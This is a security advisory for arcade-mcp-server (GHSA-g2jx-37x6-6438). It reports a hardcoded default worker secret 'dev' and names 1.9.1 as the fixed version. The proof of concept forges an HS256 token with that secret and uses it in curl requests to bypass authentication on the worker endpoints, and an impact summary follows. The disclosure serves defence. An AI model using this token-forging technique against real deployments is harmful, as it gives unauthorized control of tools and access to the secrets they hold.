arcade-mcp-server Has Default Hardcoded Worker Secret That Allows Full Unauthorized Access to All HTTP MCP Worker Endpoints (GHSA-g2jx-37x6-6438) · Sieve 13
영향 받는 패키지 생태계 패키지 수정 버전 PyPI arcade-mcp-server 1.9.1
오늘 목록으로
PoC Verify that unauthenticated access is rejected (expected)
curl -s -D - http://127.0.0.1:8000/worker/tools
# → 403 Forbidden
Forge a valid HS256 token using the hardcoded default secret "dev"
import jwt
print(jwt.encode({'ver': '1', 'aud': 'worker'}, 'dev', algorithm='HS256'))
Use the forged token to bypass authentication
curl -s -D - \
-H "Authorization: Bearer $(cat /tmp/forged_token.txt)" \
http://127.0.0.1:8000/worker/tools
Result:
The server responds 200 OK with the full tool catalog and allows invocation of all worker tools.
Server logs show a rejected request immediately followed by a successful forged request, confirming the bypass.
Impact This is an authentication bypass that results in full remote access to all MCP worker endpoints:
Unauthenticated attackers can enumerate tools
Invoke arbitrary tools remotely
Access any data returned by tools (including secrets loaded into ToolContext)
Execute actions inside internal systems if tools expose operational capabilities
Perform these actions without any brute forcing or guesswork due to the known default signing key
Any user who follows the official setup guide is exposed unless they manually override ARCADE_WORKER_SECRET, which is not documented.
This vulnerability effectively gives complete remote control over the MCP worker API to any attacker aware of the default key.